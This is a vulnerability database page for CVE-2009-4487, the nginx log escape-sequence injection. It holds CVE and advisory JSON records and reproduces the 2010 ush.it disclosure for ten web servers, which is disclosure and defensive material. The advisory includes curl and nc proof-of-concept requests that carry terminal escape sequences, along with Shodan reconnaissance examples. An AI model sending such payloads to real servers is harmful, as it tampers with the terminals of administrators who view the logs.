Action not permitted
Modal body text goes here.
cve-2009-4487
Vulnerability from cvelistv5
▼ | URL | Tags | |
---|---|---|---|
cve@mitre.org | http://www.securityfocus.com/archive/1/508830/100/0/threaded | Broken Link, Third Party Advisory, VDB Entry | |
cve@mitre.org | http://www.securityfocus.com/bid/37711 | Broken Link, Third Party Advisory, VDB Entry | |
cve@mitre.org | http://www.ush.it/team/ush/hack_httpd_escape/adv.txt | Exploit, Patch, Third Party Advisory |
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-07T07:01:20.466Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "name": "37711", "tags": [ "vdb-entry", "x_refsource_BID", "x_transferred" ], "url": "http://www.securityfocus.com/bid/37711" }, { "tags": [ "x_refsource_MISC", "x_transferred" ], "url": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt" }, { "name": "20100110 Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection", "tags": [ "mailing-list", "x_refsource_BUGTRAQ", "x_transferred" ], "url": "http://www.securityfocus.com/archive/1/508830/100/0/threaded" } ], "title": "CVE Program Container" } ], "cna": { "affected": [ { "product": "n/a", "vendor": "n/a", "versions": [ { "status": "affected", "version": "n/a" } ] } ], "datePublic": "2010-01-10T00:00:00", "descriptions": [ { "lang": "en", "value": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator." } ], "problemTypes": [ { "descriptions": [ { "description": "n/a", "lang": "en", "type": "text" } ] } ], "providerMetadata": { "dateUpdated": "2018-10-10T18:57:01", "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "shortName": "mitre" }, "references": [ { "name": "37711", "tags": [ "vdb-entry", "x_refsource_BID" ], "url": "http://www.securityfocus.com/bid/37711" }, { "tags": [ "x_refsource_MISC" ], "url": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt" }, { "name": "20100110 Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection", "tags": [ "mailing-list", "x_refsource_BUGTRAQ" ], "url": "http://www.securityfocus.com/archive/1/508830/100/0/threaded" } ], "x_legacyV4Record": { "CVE_data_meta": { "ASSIGNER": "cve@mitre.org", "ID": "CVE-2009-4487", "STATE": "PUBLIC" }, "affects": { "vendor": { "vendor_data": [ { "product": { "product_data": [ { "product_name": "n/a", "version": { "version_data": [ { "version_value": "n/a" } ] } } ] }, "vendor_name": "n/a" } ] } }, "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": { "description_data": [ { "lang": "eng", "value": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator." } ] }, "problemtype": { "problemtype_data": [ { "description": [ { "lang": "eng", "value": "n/a" } ] } ] }, "references": { "reference_data": [ { "name": "37711", "refsource": "BID", "url": "http://www.securityfocus.com/bid/37711" }, { "name": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt", "refsource": "MISC", "url": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt" }, { "name": "20100110 Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection", "refsource": "BUGTRAQ", "url": "http://www.securityfocus.com/archive/1/508830/100/0/threaded" } ] } } } }, "cveMetadata": { "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "assignerShortName": "mitre", "cveId": "CVE-2009-4487", "datePublished": "2010-01-13T20:00:00", "dateReserved": "2009-12-30T00:00:00", "dateUpdated": "2024-08-07T07:01:20.466Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1", "meta": { "nvd": "{\"cve\":{\"id\":\"CVE-2009-4487\",\"sourceIdentifier\":\"cve@mitre.org\",\"published\":\"2010-01-13T20:30:00.357\",\"lastModified\":\"2021-11-10T15:51:21.787\",\"vulnStatus\":\"Analyzed\",\"descriptions\":[{\"lang\":\"en\",\"value\":\"nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.\"},{\"lang\":\"es\",\"value\":\"nginx v0.7.64, escribe datos en un archivo de los sin depurar los caracteres no escribibles, lo que podr\u00eda permitir a atacantes remotos modificar la ventana de t\u00edtulo, o posiblemente ejecutar comandos de su elecci\u00f3n o sobrescribir archivos, a trav\u00e9s de una petici\u00f3n HTTP que contiene una secuencia de escape para el emulador de terminal.\"}],\"metrics\":{\"cvssMetricV2\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"2.0\",\"vectorString\":\"AV:N/AC:M/Au:N/C:P/I:P/A:P\",\"accessVector\":\"NETWORK\",\"accessComplexity\":\"MEDIUM\",\"authentication\":\"NONE\",\"confidentialityImpact\":\"PARTIAL\",\"integrityImpact\":\"PARTIAL\",\"availabilityImpact\":\"PARTIAL\",\"baseScore\":6.8},\"baseSeverity\":\"MEDIUM\",\"exploitabilityScore\":8.6,\"impactScore\":6.4,\"acInsufInfo\":false,\"obtainAllPrivilege\":false,\"obtainUserPrivilege\":false,\"obtainOtherPrivilege\":false,\"userInteractionRequired\":true}]},\"weaknesses\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"NVD-CWE-noinfo\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:f5:nginx:0.7.64:*:*:*:*:*:*:*\",\"matchCriteriaId\":\"16FDFF79-9B8D-4CA5-84F4-ED8999023B10\"}]}]}],\"references\":[{\"url\":\"http://www.securityfocus.com/archive/1/508830/100/0/threaded\",\"source\":\"cve@mitre.org\",\"tags\":[\"Broken Link\",\"Third Party Advisory\",\"VDB Entry\"]},{\"url\":\"http://www.securityfocus.com/bid/37711\",\"source\":\"cve@mitre.org\",\"tags\":[\"Broken Link\",\"Third Party Advisory\",\"VDB Entry\"]},{\"url\":\"http://www.ush.it/team/ush/hack_httpd_escape/adv.txt\",\"source\":\"cve@mitre.org\",\"tags\":[\"Exploit\",\"Patch\",\"Third Party Advisory\"]}]}}" } }
ghsa-94g9-mcw4-f749
Vulnerability from github
nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
{ "affected": [], "aliases": [ "CVE-2009-4487" ], "database_specific": { "cwe_ids": [], "github_reviewed": false, "github_reviewed_at": null, "nvd_published_at": "2010-01-13T20:30:00Z", "severity": "MODERATE" }, "details": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "id": "GHSA-94g9-mcw4-f749", "modified": "2022-05-02T03:55:15Z", "published": "2022-05-02T03:55:15Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4487" }, { "type": "WEB", "url": "http://www.securityfocus.com/archive/1/508830/100/0/threaded" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/37711" }, { "type": "WEB", "url": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt" } ], "schema_version": "1.4.0", "severity": [] }
gsd-2009-4487
Vulnerability from gsd
{ "GSD": { "alias": "CVE-2009-4487", "description": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "id": "GSD-2009-4487", "references": [ "https://www.suse.com/security/cve/CVE-2009-4487.html", "https://packetstormsecurity.com/files/cve/CVE-2009-4487" ] }, "gsd": { "metadata": { "exploitCode": "unknown", "remediation": "unknown", "reportConfidence": "confirmed", "type": "vulnerability" }, "osvSchema": { "aliases": [ "CVE-2009-4487" ], "details": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "id": "GSD-2009-4487", "modified": "2023-12-13T01:19:45.289662Z", "schema_version": "1.4.0" } }, "namespaces": { "cve.org": { "CVE_data_meta": { "ASSIGNER": "cve@mitre.org", "ID": "CVE-2009-4487", "STATE": "PUBLIC" }, "affects": { "vendor": { "vendor_data": [ { "product": { "product_data": [ { "product_name": "n/a", "version": { "version_data": [ { "version_value": "n/a" } ] } } ] }, "vendor_name": "n/a" } ] } }, "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": { "description_data": [ { "lang": "eng", "value": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator." } ] }, "problemtype": { "problemtype_data": [ { "description": [ { "lang": "eng", "value": "n/a" } ] } ] }, "references": { "reference_data": [ { "name": "37711", "refsource": "BID", "url": "http://www.securityfocus.com/bid/37711" }, { "name": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt", "refsource": "MISC", "url": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt" }, { "name": "20100110 Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection", "refsource": "BUGTRAQ", "url": "http://www.securityfocus.com/archive/1/508830/100/0/threaded" } ] } }, "nvd.nist.gov": { "configurations": { "CVE_data_version": "4.0", "nodes": [ { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:a:f5:nginx:0.7.64:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true } ], "operator": "OR" } ] }, "cve": { "CVE_data_meta": { "ASSIGNER": "cve@mitre.org", "ID": "CVE-2009-4487" }, "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": { "description_data": [ { "lang": "en", "value": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window\u0027s title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator." } ] }, "problemtype": { "problemtype_data": [ { "description": [ { "lang": "en", "value": "NVD-CWE-noinfo" } ] } ] }, "references": { "reference_data": [ { "name": "37711", "refsource": "BID", "tags": [ "Broken Link", "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/37711" }, { "name": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt", "refsource": "MISC", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "http://www.ush.it/team/ush/hack_httpd_escape/adv.txt" }, { "name": "20100110 Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection", "refsource": "BUGTRAQ", "tags": [ "Broken Link", "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/archive/1/508830/100/0/threaded" } ] } }, "impact": { "baseMetricV2": { "acInsufInfo": false, "cvssV2": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true } }, "lastModifiedDate": "2021-11-10T15:51Z", "publishedDate": "2010-01-13T20:30Z" } } }
var-201001-0319
Vulnerability from variot
nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator. The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files. Attackers can exploit this issue to execute arbitrary commands in a terminal. This issue affects nginx 0.7.64; other versions may also be affected. Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection
Name Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection Systems Affected nginx 0.7.64 Varnish 2.0.6 Cherokee 0.99.30 mini_httpd 1.19 thttpd 2.25b0 WEBrick 1.3.1 Orion 2.0.7 AOLserver 4.5.1 Yaws 1.85 Boa 0.94.14rc21 Severity Medium Impact (CVSSv2) Medium 5/10, vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N) Vendor http://www.nginx.net/ http://varnish.projects.linpro.no/ http://www.cherokee-project.com/ http://www.ruby-lang.org/ http://www.acme.com/software/thttpd/ http://www.acme.com/software/mini_httpd/ http://www.orionserver.com/ http://www.aolserver.com/ http://yaws.hyber.org/ http://www.boa.org/ Advisory http://www.ush.it/team/ush/hack_httpd_escape/adv.txt Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it) Alessandro "jekil" Tanasi (alessandro AT tanasi DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it) Date 20100110
I. BACKGROUND
nginx is a HTTP and reverse proxy server written by Igor Sysoev. Varnish is a state-of-the-art, high-performance HTTP accelerator. Cherokee is a very fast, flexible and easy to configure Web Server. thttpd is a simple, small, portable, fast, and secure HTTP server. mini_httpd is a small HTTP server. WEBrick is a Ruby library providing simple HTTP web server services. Orion Application Server is a pure java application-server. AOLserver is America Online's Open-Source web server. Yaws is a HTTP high perfomance 1.1 webserver. Boa is a single-tasking HTTP server.
II. DESCRIPTION
Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa are subject to logs escape sequence injection vulnerabilites.
Escape sequences are special characters sequences that are used to instruct the terminal to perform special operations like executing commands [4, 5] or dumping the buffer to a file [6, 7].
When the webserver is executed in foreground in a pty or when the logfiles are viewed with tools like "cat" or "tail" such control chars reach the terminal and are executed.
III. ANALYSIS
Summary:
A) "nginx" log escape sequence injection (Affected versions: 0.7.64 and probably earlier versions)
B) "Varnish" log escape sequence injection (Affected versions: 2.0.6 and probably earlier versions)
C) "Cherokee" log escape sequence injection (Affected versions: 0.99.30 and probably earlier versions)
D) "thttpd" log escape sequence injection (Affected versions: thttpd/2.25b and probably earlier versions)
E) "mini_httpd" log escape sequence injection (Affected versions: 1.19 and probably earlier versions)
F) "WEBrick" log escape sequence injection (Affected versions: 1.3.1 and probably earlier versions)
G) "Orion" log escape sequence injection (Affected versions: 2.0.7 and probably earlier versions)
H) "AOLserver" log escape sequence injection (Affected versions: 4.5.1 and probably earlier versions)
I) "Yaws" log escape sequence injection (Affected versions: 1.85 and probably earlier versions)
L) "Boa" log escape sequence injection (Affected versions: 0.94.14rc21 and probably earlier versions)
A) "nginx" log escape sequence injection
One of the following two Proofs Of Concept can be used in order to verify the vulnerability.
curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
B) "Varnish" log escape sequence injection
One of the following two Proofs Of Concept can be used in order to verify the vulnerability.
xterm varnishlog
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
C) "Cherokee" log escape sequence injection
The following Proof Of Concept can be used in order to verify the vulnerability.
curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
D) "thttpd" log escape sequence injection
The following Proof Of Concept can be used in order to verify the vulnerability.
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
E) "mini_httpd" log escape sequence injection
One of the following two Proofs Of Concept can be used in order to verify the vulnerability.
curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
F) "WEBrick" log escape sequence injection
One of the following two Proofs Of Concept can be used in order to verify the vulnerability.
curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
G) "Orion" log escape sequence injection
One of the following two Proofs Of Concept can be used in order to verify the vulnerability.
curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
H) "AOLserver" log escape sequence injection
The following Proof Of Concept can be used in order to verify the vulnerability.
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
I) "Yaws" log escape sequence injection
One of the following two Proofs Of Concept can be used in order to verify the vulnerability.
curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload nc localhost 80 < payload
L) "Boa" log escape sequence injection
The following Proof Of Concept can be used in order to verify the vulnerability.
curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
IV. DETECTION
Services like Shodan (shodan.surtri.com) or Google can be used to get an approximate idea on the usage of the products.
Some examples: - http://shodan.surtri.com/?q=nginx - http://www.google.com/search?q="powered+by+Cherokee" - curl -kis http://www.antani.gov | grep -E "Server: Orion/2.0.8"
V. WORKAROUND
Cherokee and WEBrick (Ruby) released related security fixes and releases as detailed below.
Cherokee issued a public patch that resolved the issue but caused some issues (http://svn.cherokee-project.com/changeset/3944) and has been later replaced (http://svn.cherokee-project.com/changeset/3977) by a better fix that both resolve the issue and doesn't affect the normal webserver behavior. Use the second patch or a safe release like 0.99.34 or above. If you are using Cherokee 0.99.32 please note that your build uses the first patch.
Webrick (Ruby) sent us the following patch and issued a release that fixes the issues. Detailed informations are available at the following url:
http://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection
The patch we reviewed is the following but please refer to the vendor's article for exact informations.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
Index: lib/webrick/httpstatus.rb
--- lib/webrick/httpstatus.rb (revision 26065) +++ lib/webrick/httpstatus.rb (working copy) @@ -13,5 +13,15 @@ module WEBrick module HTTPStatus
- class Status < StandardError; end
- class Status < StandardError
- def initialize(message, *rest)
- super(AccessLog.escape(message), *rest)
- end
- class << self
- attr_reader :code, :reason_phrase
- end
- def code() self::class::code end
- def reason_phrase() self::class::reason_phrase end
- alias to_i code
-
end class Info < Status; end class Success < Status; end @@ -69,4 +79,5 @@ module WEBrick
StatusMessage.each{|code, message| + message.freeze var_name = message.gsub(/[ -]/,'_').upcase err_name = message.gsub(/[ -]/,'') @@ -80,16 +91,10 @@ module WEBrick end
-
eval %-
- RC_#{var_name} = #{code}
- class #{err_name} < #{parent}
- def self.code() RC_#{var_name} end
- def self.reason_phrase() StatusMessage[code] end
- def code() self::class::code end
- def reason_phrase() self::class::reason_phrase end
- alias to_i code
- end
-
-
- CodeToError[code] = const_get(err_name)
- const_set("RC_#{var_name}", code)
- err_class = Class.new(parent)
- err_class.instance_variable_set(:@code, code)
- err_class.instance_variable_set(:@reason_phrase, message)
- const_set(err_name, err_class)
- CodeToError[code] = err_class }
Index: lib/webrick/httprequest.rb
--- lib/webrick/httprequest.rb (revision 26065) +++ lib/webrick/httprequest.rb (working copy) @@ -267,9 +267,5 @@ module WEBrick end end - begin - @header = HTTPUtils::parse_header(@raw_header.join) - rescue => ex - raise HTTPStatus::BadRequest, ex.message - end + @header = HTTPUtils::parse_header(@raw_header.join) end
Index: lib/webrick/httputils.rb
--- lib/webrick/httputils.rb (revision 26065) +++ lib/webrick/httputils.rb (working copy) @@ -130,9 +130,9 @@ module WEBrick value = $1 unless field - raise "bad header '#{line.inspect}'." + raise HTTPStatus::BadRequest, "bad header '#{line}'." end header[field][-1] << " " << value else - raise "bad header '#{line.inspect}'." + raise HTTPStatus::BadRequest, "bad header '#{line}'." end }
Index: lib/webrick/accesslog.rb
--- lib/webrick/accesslog.rb (revision 26065) +++ lib/webrick/accesslog.rb (working copy) @@ -54,5 +54,5 @@ module WEBrick raise AccessLogError, "parameter is required for \"#{spec}\"" unless param - params[spec][param] || "-" + param = params[spec][param] ? escape(param) : "-" when ?t params[spec].strftime(param || CLF_TIME_FORMAT) @@ -60,8 +60,16 @@ module WEBrick "%" else - params[spec] + escape(params[spec].to_s) end } end + + def escape(data) + if data.tainted? + data.gsub(/[[:cntrl:]\]+/) {$&.dump[1...-1]}.untaint + else + data + end + end end end
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
VI. VENDOR RESPONSE
We contacted the vendors of eleven affected webservers, counting the previous advisory [1] for Jetty. Three fixed the issue (Cherokee, WEBrick/Ruby and Jetty), one will not fix the issue (Varnish) and one acknowledged the issue (AOLserver).
Nginx NO-RESPONSE Cherokee FIXED thttpd NO-RESPONSE mini-httpd NO-RESPONSE WEBrick FIXED Orion NO-RESPONSE AOLserver ACK Yaws NO-RESPONSE Boa NO-RESPONSE Varnish WONT-FIX
The response was overall good and it was nice to work with them, in particular we want to thank Cherokee's staff, Ruby's staff, Raphael Geissert (Debian) and Steven M. Christey (Mitre) for the support.
Poul-Henning Kamp (Varnish) replied to our contact email with the following email that we quote as-is.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
The official Varnish response, which I ask that you include in its entirety in your advisory, if you list Varnish as "vulnerable" in it:
This is not a security problem in Varnish or any other piece of software which writes a logfile.
The real problem is the mistaken belief that you can cat(1) a random logfile to your terminal safely.
This is not a new issue. I first remember the issue with xterm(1)'s inadvisably implemented escape-sequences in a root-context, brought up heatedly, in 1988, possibly late 1987, at Copenhagens University Computer Science dept. (Diku.dk). Since then, nothing much have changed.
The wisdom of terminal-response-escapes in general have been questioned at regular intervals, but still none of the major terminal emulation programs have seen fit to discard these sequences, probably in a misguided attempt at compatibility with no longer used 1970'es technology.
I admit that listing "found a security hole in all HTTP-related programs that write logfiles" will look more impressive on a resume, but I think it is misguided and a sign of trophy-hunting having overtaken common sense.
Instead of blaming any and all programs which writes logfiles, it would be much more productive, from a security point of view, to get the terminal emulation programs to stop doing stupid things, and thus fix this and other security problems once and for all.
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
We would like to punctuate the following facts:
1) We totally agree that the root of the problem is an unwise design in the terminal emulators. If in 70' controls were sent out of band on a secondary channel we would not have the equivalent of Blue Boxing in the terminal.
This is a known issue from years. We didn't invented this attack vector and never claimed so. We don't think that design changes will happen in the short or mid term so it's better to have a proactive approach and sanitize outputs where functionalities are likely to not be affected at all like in this case.
Security in complex systems requires some sinergy.
2) Varnish is the only program that doesn't need a "cat" program as logs are stored in memory and displayed using the "varnishlog" utility.
2) Apache fixed a similiar bug (CVE-2003-0020), "Low: Error log escape filtering", in 2004 (six years ago). The bug was affecting Apache up to 1.3.29 [8] or 2.0.48 [9] depending on the branch.
Take you conclusion, criticize if you want. In the meantime things are a little safer.
VII. CVE INFORMATION
CVE-2009-4487 nginx 0.7.64 CVE-2009-4488 Varnish 2.0.6 CVE-2009-4489 Cherokee 0.99.30 CVE-2009-4490 mini_httpd 1.19 CVE-2009-4491 thttpd 2.25b0 CVE-2009-4492 WEBrick 1.3.1 CVE-2009-4493 Orion 2.0.7 CVE-2009-4494 AOLserver 4.5.1 CVE-2009-4495 Yaws 1.85 CVE-2009-4496 Boa 0.94.14rc21
VIII. DISCLOSURE TIMELINE
20091117 Bug discovered 20091208 First vendor contact 20091209 Cherokee team confirms vulnerability (Alvaro Lopez Ortega) 20091209 Alvaro Lopez Ortega commits Cherokee patch 20091210 Ruby team confirms vulnerability (Shugo Maeda) 20091211 Shugo Maeda sends us webrick patch for evaulation 20091211 AOLserver confirms vulnerability (Jim Davidson) 20091221 Contacted Raphael Geissert (Debian Security) 20091223 Contacted Steven M. Christey (mitre.org) 20091230 Raphael Geissert forwards to Redhat, Debian, Ubuntu and Mitre 20091230 CVEs assigned by Steven M. Christey 20100105 Poul-Henning (Varnish) Kamp said WONT-FIX 20100105 Ruby team is ready for commit (Urabe Shyouhei) 20100106 Second vendor contact 20100110 Advisory release
IX. REFERENCES
[1] Jetty 6.x and 7.x Multiple Vulnerabilities http://www.ush.it/team/ush/hack-jetty6x7x/jetty-adv.txt [2] Apache does not filter terminal escape sequences from error logs http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020 [3] Apache does not filter terminal escape sequences from access logs http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083 [4] Debian GNU/Linux XTERM (DECRQSS/comments) Weakness Vulnerability http://www.milw0rm.com/exploits/7681 [5] Terminal Emulator Security Issues http://marc.info/?l=bugtraq&m=104612710031920&w=2 [6] Eterm Screen Dump Escape Sequence Local File Corruption Vulnerability http://www.securityfocus.com/bid/6936/discuss [7] RXVT Screen Dump Escape Sequence Local File Corruption Vulnerability http://www.securityfocus.com/bid/6938/discuss [8] Apache httpd 1.3 vulnerabilities http://httpd.apache.org/security/vulnerabilities_13.html [9] Apache httpd 2.2 vulnerabilities http://httpd.apache.org/security/vulnerabilities_22.html
X. CREDIT
Giovanni "evilaliv3" Pellerano, Alessandro "jekil" Tanasi and Francesco "ascii" Ongaro are credited with the discovery of this vulnerability.
Giovanni "evilaliv3" Pellerano web site: http://www.ush.it/, http://www.evilaliv3.org/ mail: evilaliv3 AT ush DOT it
Alessandro "jekil" Tanasi web site: http://www.tanasi.it/ mail: alessandro AT tanasi DOT it
Francesco "ascii" Ongaro web site: http://www.ush.it/ mail: ascii AT ush DOT it
X. LEGAL NOTICES
Copyright (c) 2009 Francesco "ascii" Ongaro
Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission.
Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information
Show details on source website{ "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" } }, "@id": "https://www.variotdbs.pl/vuln/VAR-201001-0319", "affected_products": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "model": "nginx", "scope": "eq", "trust": 1.4, "vendor": "igor sysoev", "version": "0.7.64" }, { "model": "nginx", "scope": "eq", "trust": 1.0, "vendor": "f5", "version": "0.7.64" }, { "model": "khasilev nginx", "scope": "eq", "trust": 0.3, "vendor": "igor", "version": "0.7.64" } ], "sources": [ { "db": "BID", "id": "37711" }, { "db": "JVNDB", "id": "JVNDB-2010-004324" }, { "db": "NVD", "id": "CVE-2009-4487" }, { "db": "CNNVD", "id": "CNNVD-201001-094" } ] }, "configurations": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "children": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "data": { "@container": "@list" }, "nodes": { "@container": "@list" } }, "data": [ { "CVE_data_version": "4.0", "nodes": [ { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:a:f5:nginx:0.7.64:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true } ], "operator": "OR" } ] } ], "sources": [ { "db": "NVD", "id": "CVE-2009-4487" } ] }, "credits": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Alessandro \u0027jekil\u0027 Tanasi,Giovanni \u0027evilaliv3\u0027 Pellerano, and Francesco \u0027ascii\u0027 Ongaro", "sources": [ { "db": "CNNVD", "id": "CNNVD-201001-094" } 